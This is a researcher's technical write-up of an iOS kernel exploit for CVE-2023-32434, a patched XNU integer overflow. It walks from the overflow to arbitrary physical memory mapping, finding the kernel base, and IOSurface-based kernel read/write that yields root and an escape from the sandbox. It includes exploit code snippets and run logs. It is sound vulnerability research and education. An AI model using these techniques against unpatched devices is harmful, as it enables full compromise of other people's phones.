Trigon: developing a deterministic kernel exploit for iOS
- Background
- Vulnerability
- Experimentation
- Arbitrary physical mapping
- Dynamically finding our mapping base
- Finding the kernel base
- Virtual kernel read/write
- arm64e
- Remaining versions
- Conclusion
CVE-2023-32434 was an integer overflow in the VM subsystem of the XNU kernel. It was patched in iOS 16.5.1 after being found in-the-wild as part of the Operation Triangulation spyware chain, discovered after it was used to infect a group of security researchers at Kaspersky. These researchers then captured and reverse-engineered the entire chain, leading to the patching of a WebKit bug, a kernel bug, a userspace PAC bypass and a PPL (and, technically, a KTRR) bypass.
This vulnerability was also found by felix-pb, author of kfd, at the same time and exploited as the Smith PUAF. If you haven’t read my previous blog post on PUAFs, I would highly recommend taking a look at it. It will help you to understand some concepts discussed in this write-up, as it assumes a prior knowledge of topics such as page tables, virtual memory and IOSurfaces.
The reality is, PUAFs are subject to quite a lot of instability - this could be during the exploit (due to it using memory corruption) or after the exploit. For a complex spyware chain like Operation Triangulation, they could not take the risk of the target device panicking. Therefore, the vulnerability is exploited in a completely different way, leading to a completely deterministic kernel exploit that uses no memory corruption and causes zero kernel panics.
I had heard this was the case, but recently I decided to have a go at replicating such an exploit with the same vulnerability. I was indeed successful with this goal and in this write-up I will explain how I went from a simple, yet powerful, integer overflow to full kernel read/write primitives. Developing such a complicated exploit is by no means easy, which is why this project couldn’t have been done without help from @staturnzz and @TheRealClarity.
In tribute to the chain in which it was exploited in, I decided to name my exploit ‘Trigon’.
This writeup focuses on A10(X) devices only, as arm64e and A7 - A9 and A11 SoCs are not supported by this exploit. The reasons for this are explained throughout the writeup.
Finally, the source code is available on GitHub, and you can find it here.
Background
At the root of the problem, CVE-2023-32434 is an integer overflow in the Mach virtual memory layer of XNU. However, in order to understand the vulnerability at hand, we first need to dive into how virtual memory is allocated on an XNU system.
Every process has a task
structure, which itself contains a map
field which is a pointer to a vm_map_t
object. The vm_map
of a process handles the allocation and deallocation of memory. The structure itself stores a linked list of vm_map_entry
structures, which contain vme_start
and vme_end
fields for a given region of virtual memory. It also contains a vme_object
field which leads to a vm_object
structure. The vm_object
then holds a list of vm_page
structures, each representing one page of memory used for the current mapping.
When a process calls vm_allocate
, it will create a new mapping at the VM layer. All it has to pass is its own task port (obtainable through mach_task_self()
), a pointer to an address for the allocation, the size of the allocation and flags.
kern_return_t vm_allocate
(
vm_map_t target_task,
vm_address_t *address,
vm_size_t size,
int flags
);
This function will create a new vm_map_entry
element in the linked list (during the vm_map_enter
function), allowing the process to access the virtual addresses assigned to the vm_map_entry
object. However, the physical memory backing the new allocation has not yet been entered into the page tables for the process.
The physical memory is then entered into the page table when the process tries to access the page (through reading, writing or executing the page). This causes a “fault” from userspace which leads to the vm_fault
function in the kernel. This function then retrieves the start and end virtual addresses for the vm_map_entry
and calls pmap_enter_options
to create the new page table entries for the address range.
There is also an alternative way to create a memory mapping. The function mach_make_memory_entry_64
allows you to create a “memory entry”, which is a reserved region of memory that you can map in to your process at a later point. It has a vm_map_copy
structure, which contains the vm_map_entry
structure for the allocation.
kern_return_t mach_make_memory_entry_64
(
vm_map_t target_task,
memory_object_size_t *size,
memory_object_offset_t offset,
vm_prot_t permission,
mach_port_t *object_handle,
mem_entry_name_port_t parent_entry
);
With a memory entry, you can call mach_vm_map
to map specific portions of the range covered by the entry into your process, by specifying an offset and a size.
kern_return_t mach_vm_map
(
vm_map_t target_task, mach_vm_address_t *address,
mach_vm_size_t size, mach_vm_offset_t mask,
int flags, mem_entry_name_port_t object,
memory_object_offset_t offset,
boolean_t copy, vm_prot_t cur_protection,
vm_prot_t max_protection, vm_inherit_t inheritance
);
Vulnerability
CVE-2023-32434 is an integer overflow in mach_make_memory_entry_internal
, called by mach_make_memory_entry_64
. It checks that the size is valid with the following check:
if ((offset + *size + parent_entry->data_offset) > parent_entry->size) {
kr = KERN_INVALID_ARGUMENT;
goto make_mem_done;
}
The issue here is that this can be subject to an overflow, because size and offset are user-supplied parameters. To test this, I recreated the vulnerable code and supplied a size and offset such that they would overflow back to a regular result.
❯ gcc cve_2023_32434_test.c -o cve_2023_32434_test
❯ ./cve_2023_32434_test
offset + size + parentEntryOffset: 0x4000
Success! Offset: 0x8000, size: 0xFFFFFFFFFFFFC000, parent_entry->data_offset: 0x0, parent_entry->size: 0x50000
So, if you attempt create a memory entry with size 0xFFFFFFFFFFFFC000 and offset 0x8000, it will bypass the sanity check and return a memory entry of that size!
Furthermore, when using mach_vm_map
, there is a check that the size of the new mapping plus the offset does not exceed the total size of the parent entry:
if (named_entry->size < (offset + initial_size)) {
return KERN_INVALID_ARGUMENT;
}
But, because the named_entry->size
is 0xFFFFFFFFFFFFC000, this check is always bypassed.
We now have a memory entry that covers a size of over 18,000 petabytes of memory. Obviously, this exceeds the amount of memory available on any device by a very large amount, but it does let us map memory at any offset between 0 and 0xFFFFFFFFFFFFC000 from the base of our mapping.
Experimentation
By creating a large memory entry, we can investigate how this can be exploited by checking if any interesting data is found within the memory regions we can map. At first, I simply created an oversized entry without a parent entry to see if I could read anything interesting. Unfortunately, I was only able to read zeroes at any offset that would have been considerably out-of-bounds.
So, I then looked back to the Operation Triangulation talk. It discussed how the attackers used a privileged memory entry for the “PurpleGfxMem” region. After searching for PurpleGfxMem online, I came across Star, which exploited a bug in the IOSurface kernel extension. It created an IOSurface with the IOSurfaceMemoryRegion
property set to PurpleGfxMem
, so I did the same, and it worked! I got a valid IOSurface handle, so the next step was to try and use this to create a parent memory entry. Luckily, this was fairly simple, and I was able to do so with the following code:
// Create an IOSurface that has its memory region inside PurpleGfxMem
IOSurfaceRef surface = create_purplegfxmem_iosurface();
if (!surface) {
printf("ERROR: failed to create IOSurface\n");
return -1;
}
printf("IOSurface for PurpleGfxMem: 0x%llX\n", (uint64_t)surface);
// Parent entry inside PurpleGfxMem
mach_port_t parentEntry = 0;
memory_object_size_t size = IOSurfaceGetAllocSize(surface);
IOSurfaceLock(surface, 0, NULL);
kr = mach_make_memory_entry_64(mach_task_self(), &size, (memory_object_offset_t)IOSurfaceGetBaseAddress(surface), VM_PROT_DEFAULT, &parentEntry, 0);
IOSurfaceUnlock(surface, 0, NULL);
if (kr != KERN_SUCCESS) {
printf("ERROR: failed to create parent entry for PurpleGfxMem (0x%X)\n", kr);
CFRelease(surface);
return -1;
}
printf("Created parent entry under PurpleGfxMem\n");
After that, I created a large memory entry with a size of 0xFFFFFFFFFFFFC000 and started trying to read some memory at a very high offset - I immediately started seeing kernel pointers in the memory.
So, to test my theory, I overwrite a kernel pointer with 0x4141414141414141. Not long after that, the kernel panicked, with the panic log indicating that it tried to access the address 0x4141414141414141.
This was all the proof I needed to conclude that I was mapping kernel memory into my process. This makes CVE-2023-32434 a very powerful vulnerability, but exploiting it is not as easy as you’d expect.
However, this begged the question - why is PurpleGfxMem so “powerful”? How come we can access all physical memory using a PurpleGfxMem parent entry? For a while, I was unsure as to why this is the case. I couldn’t find any related code in the kernelcache or iBoot, so it seemed it was done in some other component (perhaps the GPU). After some investigation, I found that if I used a normal memory entry that isn’t associated with PurpleGfxMem, I would consistently run into a “inserted at offset past object bounds” panic that was never triggered with the PurpleGfxMem entry.
Looking into XNU’s code, I found the following check:
if (object->internal && (offset >= object->vo_size)) {
panic("vm_page_insert_internal: (page=%p,obj=%p,off=0x%llx,size=0x%llx) inserted at offset past object bounds",
mem, object, offset, object->vo_size);
}
Specifically, if object->internal
is false, this panic won’t be triggered. It then turned out that a normal entry has the internal flag set, but PurpleGfxMem memory entries do not have this flag set and therefore avoid this panic.
Arbitrary physical mapping
I knew from the Operation Triangulation talk that you can use this vulnerability to map arbitrary physical memory into userspace, so I tried to setup a mapping primitive to do that. After playing around with the offset I pass to mach_vm_map
, I ended up mapping (and attempting to read) a physical address that didn’t exist. After I rebooted, I ran the app again with the same offset, but the panic log contained the same physical address. After a few more attempts, I realised that the physical address where our mapping starts is always the same.
I then realised that if you map offset 0 - MAPPING_BASE
, it will map physical address 0. This means that for an arbitrary physical mapping primitive, you simply need to set the offset to PA - MAPPING_BASE
and it will map the physical address into your vm_map
! I tested this by trying to map and read the physical address 0x41410000 - sure enough, the panic log indicated that I was calculating the offset correctly.
So, now that I had a way to map arbitrary physical addresses, surely it wouldn’t be that hard to get kernel read/write? I could just find the kernel base with physical read/write and then use a kernel patchfinder to find the L1 page table for the kernel to give me virtual-to-physical translation.
It turned out that this was absolutely not the case. When testing on arm64e, every time I tried to read a page containing part of the kernelcache, the device would panic, with the log saying “page locked down”
After some further investigation, I found that iOS 14 added pmap_lockdown_kc()
, which is called during kernel initialisation. It adds a lockdown attribute to each page covered by the CTRR region, so that any attempt to map such a page into another process’s page tables will cause a kernel panic.
Note: CTRR stands for “configurable text read-only region” and is the successor to KTRR (“kernel text read-only region”). Essentially, it prevents kernel code from ever being modified, as the AMCC (Apple Memory Cache Controller), which all page faults go through, will reject any attempted write inside the protected region.
Furthermore, pmap_enter_options_internal()
(which is called to map a page into a process’s page tables when it attempts to fault the page) also stops you from mapping any PPL-protected pages, even if you’re only mapping them as read-only. This meant that we could not read kernel code and could not read page tables for translation.
Therefore, I decided to stick with arm64 for the time being and leave arm64e. This allowed me to read kernel code, at least, which made exploitation easier (slightly).
Dynamically finding our mapping base
When I first began developing this exploit, I came across an interesting article from Brandon Azad, titled One Byte to rule them all. In the article, Azad used a one-byte heap overflow to create a physical mapping primitive, which he then leveraged into a full virtual read/write kernel exploit. Unfortunately, his strategy did not work 1:1 for me (I will explain why later on), but I noticed something that caught my eye when reading:
Memory outside this region is reserved for coprocessors like the Always On Processor (AOP), Apple Neural Engine (ANE), SIO (possibly Apple SmartIO), AVE, ISP, IOP, etc. The addresses of these and other regions can be found by parsing the devicetree or by dumping the iboot-handoff region at the start of DRAM.
Being able to locate and parse “iboot-handoff” seemed the best way to get started. After spending a while trying to find any public information on iboot-handoff, but finding nothing, I dumped iboot-handoff with a pre-existing kernel exploit on a device and noticed it contained several physical memory addresses. After staring at the bytes for a while, I realised that it was a copy of the carveout-memory-map
property in the DeviceTree. This contains information on the different memory regions, such as DRAM (where the kernel and physmap live), giving their physical base and size.
Coincidentally, we were trying to look for interesting regions of memory we could access at the same time as this, trying to find our mapping base by scanning forward with a relative offset and looking for kernel or physical addresses. We kept running into the same physical addresses each time, so I dumped the page that contained a high number of physical addresses. Sure enough, the first four bytes were the iboot-handoff magic.
So, I wrote a simple parser for iboot-handoff, eventually being able to retrieve the physical address of both DRAM and iboot-handoff.
❯ ./parse_iboot_handoff /Users/alfie/Downloads/iboot-handoff.bin
Magic: 0x484F6666
Version: 0x1
Size: 0x240
iboot-handoff: 0x87F3FC000 -> 0x87F400000 (0x4000)
DRAM: 0x800000000 -> 0x87DB80000 (0x7DB80000)
VRAM: 0x87EA74000 -> 0x87F374000 (0x900000)
Because iboot-handoff contains its own physical address, we can subtract the offset we read it at from this address to give us the base address of our mapping. This is all we need to be able to map, read and write arbitrary physical addresses!
Finding the kernel base
A10(X)
While iboot-handoff gave us an arbitrary mapping primitive, we still had no idea where the actual kernelcache is in memory. Figuring this out on devices with KTRR required an interesting trick from Brandon Azad: reading special hardware registers.
On devices with KTRR, the AMCC stores the lower and upper limits of the KTRR-protected region in two MMIOs (memory mapped IO), which are essentially special registers that are mapped to a certain physical address from which they can be accessed. On my device, I simply mapped the base that the limit registers were in and read them directly.
uint64_t amccOffset = calculate_phys_addr_offset(AMCC_BASE, NULL);
mach_vm_address_t amccBase = 0;
kern_return_t kr = mach_vm_map(mach_task_self(), &amccBase, gDeviceInfo.pageSize, 0,
VM_FLAGS_ANYWHERE, largeMemoryEntry,
amccOffset, 0, VM_PROT_DEFAULT,
VM_PROT_DEFAULT, VM_INHERIT_NONE);
volatile uint32_t ktrrLowerLimit = *(volatile uint32_t *)(amccBase + gDeviceInfo.ktrrLimitLower);
volatile uint32_t ktrrUpperLimit = *(volatile uint32_t *)(amccBase + gDeviceInfo.ktrrLimitUpper);
What these values actually are are page numbers within DRAM. For example, if ktrrLowerLimit
is 1, that means that the KTRR region begins 1 page after the start of DRAM. By multiplying each limit by the page size and adding to the DRAM base (found with iboot-handoff), we are able to calculate the bounds of the KTRR region.
We can then start to scan the KTRR region (also known as the “RoRgn”) for the MachO magic (0xFEEDFACF). This can come up multiple times, as some kernel extensions contain this magic and may be physically mapped before the main kernel. Therefore, we check the MachO filetype in the MachO header to determine if we have found the kernel base.
// Find kernel base
for (uint64_t i = 0; i < roRgnEnd - roRgnStart; i += 0x4000) {
if (physread32(roRgnStart + i) == MH_MAGIC_64
&& physread32(roRgnStart + i + 12) == MH_EXECUTE) {
gKernelPhysBase = roRgnStart + i;
break;
}
}
gKernelBase = physread64(gKernelPhysBase + 0x38);
gKernelSlide = gKernelBase - 0xFFFFFFF007004000;
printf("Kernel base: 0x%llX\n", gKernelBase);
printf("Kernel slide: 0x%llX\n", gKernelSlide);
Reading offset 0x38 (the vmaddr
field for the __TEXT
segment load command) gives us the virtual address that the kernel’s __TEXT
region should be mapped at. Subtracting the static kernel base from this value gives us the kernel slide. At this point, we can start reading interesting kernel data structures with our primitives by calculating the slid virtual address of the structure, subtracting the slid kernel base and adding the physical kernel base.
A11
A11 devices have the same KTRR registers, but for some reason, scanning the KTRR region yields an “unexpected PV head” kernel panic. This implies that I try to read a page table, but this should not really be an issue inside the protected region. I have not figured out a way to avoid this, which is why A11 devices are not supported by Trigon. However, the panic will be explained more further down in this writeup.
Non-KTRR devices
A9, A8 and A7 devices do not have KTRR. They do have a privileged monitor (KPP) that protects against kernel patching, but is irrelevant here. What matters is that the KTRR limit registers do not exist, so we have no deterministic way to find the kernel base. My first thought was to try and read IORVBAR (IO Reset Vector Base Address). This is where execution jumps to when the device awakes from deep sleep. On KTRR devices, this is inside the kernel and thus can let us retrieve the kernel base. However, on KPP devices, IORVBAR is set to KPP itself, which is stored inside TZ1. TZ1 is a trustzone region, which essentially means the memory is isolated at the hardware level and absolutely cannot be read by either the kernel or userspace. This renders IORVBAR fairly useless for finding the kernel base.
Unfortunately, without any MMIO to use, the only other way to find the kernel base is by guessing the address, unless we could find a highly unlikely physical address information leak. From experimentation, it was found that the kernel base was always between 0x803000000 and 0x806000000. The downside to this method is that it can often fail, because there seems to be page tables before the kernelcache in physical memory and reading these will cause the “unexpected PV head” panic (more on this next).
After further experimentation, we found that the predictability of the kernel physical base varies between versions:
- iOS 13 and above: slid each boot, guessable ~90-95% of the time
- iOS 12: always the same address
- iOS 11 and below: there is no “unexpected PV head” panic, so we can take an easier approach to this exploit all together as we don’t have to avoid the physmap
For this reason, A7 - A9 are not supported by this exploit, because it brings the reliability down (even when the guessed physical base is refined for a version, it will still be only 90-95% reliability). An attacker would have more success exploiting this as a physical use-after-free and as such, I decided not to include support for non-KTRR devices. However, it is worth noting that every other part of the exploit should work out-of-the-box for these SoCs, down to at least iOS 12.
Virtual kernel read/write
The end goal of a kernel exploit is to be able to read from and write to arbitrary kernel addresses. Therefore, I began to look for ways to do this with just a physical read/write primitive. The main thing to remember with this bug is that everything is done in terms of physical addresses. This means that for any virtual kernel address, we have to first translate it to a physical address before reading from or writing to it. This can normally be done via page tables, but unfortunately that is not the case with this bug.
Page table panic
My first thought was to simply find our proc
structure by translating kernel addresses through page tables (since, on arm64, there is no PPL to stop me… or so I thought). I quickly found that trying to read a page table on arm64 would panic - the panic message being “Unexpected PV head”. I eventually tracked it down to the following code in XNU:
} else if (!pvh_test_type(pv_h, PVH_TYPE_PVEP)) {
panic("%s: unexpected PV head %p, pte_p=%p pmap=%p pv_h=%p",
__func__, *pv_h, pte_p, pmap, pv_h);
}
After a bit of digging, I found that the panic comes from the pmap_enter_pv
function - called internally by pmap_enter_options
, which is responsible for entering a physical address into a page table. The problem essentially boils down to the pv_head_table
array, which stores a pv_entry_t
object for every physical page in the main physical memory map. There are four main types:
PVH_TYPE_NULL
: not mapped in any pmapPVH_TYPE_PVEP
: mapped in multiple pmapsPVH_TYPE_PTEP
: mapped in one pmapPVH_TYPE_PTDP
: page table page
Essentially, the panic comes from the fact that the code ensures the page type is either PVH_TYPE_NULL
, PVH_TYPE_PVEP
or PVH_TYPE_PTEP
. If this is not the case, it will panic, like it did for me. Therefore, we can conclude that we cannot map page tables into our process for reading and translating virtual kernel addresses to physical addresses.
Brandon Azad’s method
Looking back at how Brandon Azad did it, I found that he overwrote a sysctl_oid
structure in the writable __DATA,__data
section of the kernelcache. A sysctl can be used from userspace, for example by using sysctlbyname()
. Internally, the kernel finds the corresponding sysctl_oid
structure and calls the function in oid_handler
, passing oid_arg1
and oid_arg2
as arguments. For a sysctl that reads a value, the sysctl_handle_int
function is stored in oid_handler
. It will then read the value at the address stored in oid_arg1
and return that value to userspace. This gives us a potential kernel read primitive if we can overwrite oid_arg1
!
For some reason, I couldn’t seem to be able to write to __DATA,__data
, which was really weird for two reasons. Firstly, staturnz could write to it fine on his device, whereas I couldn’t. Secondly, there was no crash or kernel panic - instead, the app would simply hang when I tried to overwrite the data. This especially was what confused me, because the only other time I knew of this happening was if you map a CTRR-protected page into your page table and attempt to write to it. That happens because the AMCC rejects the write and will not let it succeed under any circumstances, but this should not be the case with this vulnerability. __DATA,__data
has to be writable by nature, but there was nothing stopping me from entering it into my page tables.
Nonetheless, staturnz successfully managed to overwrite a sysctl_oid
structure to construct an arbitrary kernel read primitive. This was the first successful exploitation of this bug for full kernel read/write. However, it seemed that writing to __DATA,__data
only worked on newer versions and was off the table for me, so I began to look for another method.
PV head table (again)
I thought back to how I exploited the PhysPuppet physical use-after-free - essentially, allocate a large number of IOSurface objects and scan our free pages for one of our IOSurfaces and then control the values in that for arbitrary reads and writes. Could something similar be done with this bug? The main issue was that if we just start scanning physical memory for our IOSurfaces, we will almost certainly run into a page table and panic before we find an IOSurface to use for read/write primitives.
I needed a way to figure out if a physical page is a page table or not before reading from it. Then, it finally hit me - the pv_head_table
array! That contains a page type for almost every physical page on the system. After some investigation, it seemed I was in luck. The array is within the physically contiguous kernel __DATA,__data
region, so I can easily calculate its physical address and read the whole array! I did some testing and found that I could easily determine if any physical page is a page table or not.
Retrieving a pv_h
for an arbitrary page-aligned physical address is as simple as the following code:
#define atop(x) ((vm_address_t)(x) >> vm_kernel_page_shift)
#define pa_index(pa) (atop(pa - dram_base))
uint64_t pai_get_pvh(uint64_t pai) {
return physread64(pv_head_table_pa + (pai * 8));
}
uint64_t pv_h = pai_get_pvh(pa_index(PA));
IOSurface kernel read/write
I then use the same IOSurface strategy as explained in my previous blog post to gain kernel read/write primitives. I run the following code for each page I check:
uint64_t pv_h = pai_get_pvh(pa_index(curPage));
if (!pv_h) continue;
if (!pvh_test_type(pv_h, PVH_TYPE_PTEP)) continue;
uint64_t flags = pvh_get_flags(pv_h);
if (flags & PVH_FLAG_EXEC) continue;
if (flags & PVH_FLAG_LOCKDOWN) continue;
uint64_t addr = map_phys_page_noblock(curPage, VM_PROT_DEFAULT);
if (iosurface_get_pixel_format((uint64_t)addr) == IOSURFACE_MAGIC) {
gSurfaceID = surfaceClients[iosurface_get_alloc_size(addr) - 1];
gSurfaceAddress = addr;
if (task) *task = iosurface_get_receiver(addr);
r = 0;
goto out;
}
// Only unmap address if this is not one of our IOSurface objects
mach_vm_deallocate(mach_task_self(), addr, 0x4000);
For speed purposes, I don’t check every page of DRAM, because this would be majorly inefficient. The process of searching for an IOSurface goes like this:
- Find the end of the read-only KTRR-protected region
- Find the halfway point between here and the end of DRAM
- Check every four pages for an IOSurface
I allocate around 20,000 IOSurfaces, which leads to me finding an IOSurface in around 0.1 seconds. I can then retrieve the address of the task
structure for our process from the object and start using the IOSurface for kernel read/write.
There are a few advantages to this strategy. First of all, it only requires two kernel addresses that need patchfinding (cpu_ttep
and pv_head_array
). We run a small patchfinder after finding the kernel base to find these offsets for later on. Everything else we could need can be found dynamically. Secondly, it is deterministic - there is no risk of a panic and you can retry the IOSurface spray over and over again. Finally, the IOSurface strategy is very safe and won’t cause any panics. The original pointers are always restored after performing a read or write, so it is always left as it was at the beginning and is safely deallocated when our process exits.
In the end, we are left with a deterministic kernel exploit, just as we set out to achieve!
Running on A10, 14.4.0
*** Stage 1: create the malicious memory entry ***
IOSurface for PurpleGfxMem: 0x2831DD600
Created parent entry under PurpleGfxMem
Created large memory entry (triggered bug)
*** Stage 2: find the mapping base ***
Found iboot-handoff @ offset 0xDE0000
*** Stage 3: parse iboot-handoff and find DRAM region ***
DRAM: 0x800000000/0x7D18C000
VRAM: 0x87D18C000/0xF00000
iboot-handoff: 0x87EDFC000/0x4000
*** Stage 4: find kernel base via MMIO registers ***
KTRR region:
KTRR region base: 0x802118000
KTRR region end: 0x804294000
Kernel base: 0xFFFFFFF027B14000
Kernel slide: 0x20B10000
*** Stage 5: initialise virtual kernel read/write ***
Got kernel read/write in 0.205417 seconds
task: 0xFFFFFFE1A0039EC8
proc: 0xFFFFFFE1A0B2EE10
ucred: 0xFFFFFFE19FF47960
We are now root!
We are now unsandboxed
Kernel exploit success! We are UID 0
Bonus: tfp0
On iOS 13 and below, we can use the initial kernel read/write primitives provided by the IOSurface technique in order to build a tfp0 port. A task port is a userspace reference to a task’s address space, allowing a caller to pass it to various Mach traps to allocate, free, read from or write to areas of memory in the address space associated with the task port. For example, earlier in the writeup I briefly mentioned a Mach trap to which I pass our own task port (retrieved via mach_task_self()
).
While a standard sandboxed app cannot obtain the task port for another process, we can use our kernel read/write primitives to build a fake task port for the kernel’s address space. We are then left with a way of reading and writing kernel memory that uses no corrupted objects (like an IOSurface) and is about as stable as you can get in terms of such primitives. I won’t go into detail on how tfp0 is setup, mainly because it can vary between different versions, but also because there are many open source examples of such code. Any jailbreak for iOS 13 and below will have code to initialise tfp0, so it’s not too difficult to find.
arm64e
There are numerous reasons that this exploit does not support arm64e; namely:
- iboot-handoff is at the start of DRAM, but our mapping is after DRAM, so we cannot find our mapping base that way (if we try to read backwards into DRAM we will eventually hit some protected memory and panic).
- The CTRR limit registers do not seem to be usable on newer versions of iOS, as it seems Apple have disabled them outright from being accessed (I get the same panic as if I try to read a non-existent physical address). This means we have no way to find the kernel base.
- We cannot read any CTRR- or PPL-protected memory, including all page tables and kernel code. This means that even if the CTRR bounds registers worked, we still couldn’t find the kernel virtual base or slide without reading the start of the MachO.
pv_head_array
is behind PPL, so due to the above reason, cannot be used to find IOSurface objects.- IOSurface objects cannot be used for kernel read/write on iOS 16, with PAC being used to kill the technique. This is not as much of an issue, as it can be worked around by using a different object.
The Kaspersky team plan to publish an in-depth analysis of the entire chain (including how the attackers exploited this bug on arm64e) in the future. Hopefully, that should provide some more answers and allow this exploit to be updated to support arm64e.
Remaining versions
The current exploit works on iOS 13+. Looking at other devices/versions, let’s take a look at what would be needed to port the exploit to other devices and versions.
Version | Vulnerable | Notes | Tested |
---|---|---|---|
iOS 6 and below | Unknown | Only supports 32-bit devices, so we are unsure whether or not the bug exists or is exploitable | No |
iOS 7 - 11 | Yes (lower limit unknown) | No PV table, so it is safe to read all of DRAM and find kernel base or another useful structure (e.g. the kernel’s BootArgs structure, like Fugu15 does) |
Yes |
iOS 12 | Yes | No iboot-handoff, instead can hardcode the PRAM base address and find our mapping base that way | Yes |
iOS 13+ | Yes | Aligns with the rest of the writeup | Yes |
It is safe to say that adding wider version support won’t be an easy task, since there will essentially be two or three different exploit strategies. It was also a shame not to be able to support A11 devices in the original release, but unfortunately I do not have a test device myself, so I’m not sure how to approach adding support for these devices. An iOS 12 version of the exploit will be released by staturnz in the future. An exploit for iOS 11 and below may also come in the future; we have the code for it, but it needs some good cleaning up and testing first. However, just for fun, here is a screenshot of the exploit working on iOS 8 and building a fake port for tfp0:
The only possibility we have of adding support for the other SoCs is with some sort of information leak that lets us determine the physical address of something in the kernelcache. Funnily enough, very early on in the development of this exploit, we once found the kernel’s root page table physical address after our malicious mapping on an arm64e device. This has not since been reproduced, but if we were able to do this on demand it would allow us to easily determine the kernel base without any MMIO.
Conclusion
Writing a deterministic kernel exploit was certainly a very interesting project. This is the first public instance of such a bug (with the limitations we’ve had to work around), so developing an exploit strategy for it was super fun. It certainly got frustrating at some points, but now we have such a stable exploit, it was definitely worth it.
This writeup simply shows the steps involved in the final, working exploit. It does not, however, convey just how many failed ideas and attempts there were during the process. There was a two week period where we got absolutely nowhere with this vulnerability, but once the missing piece of the puzzle finally fell into place (the PV head table), it was smooth sailing from there. It was also a shame not being able to support as many devices as I would have liked to, but perhaps that can be left as an interesting exercise for the reader.
Once again, thank you to those who helped with this project:
As always, if you have any questions, please don’t hesitate to email me via [email protected] or by contacting me on X at @alfiecg_dev.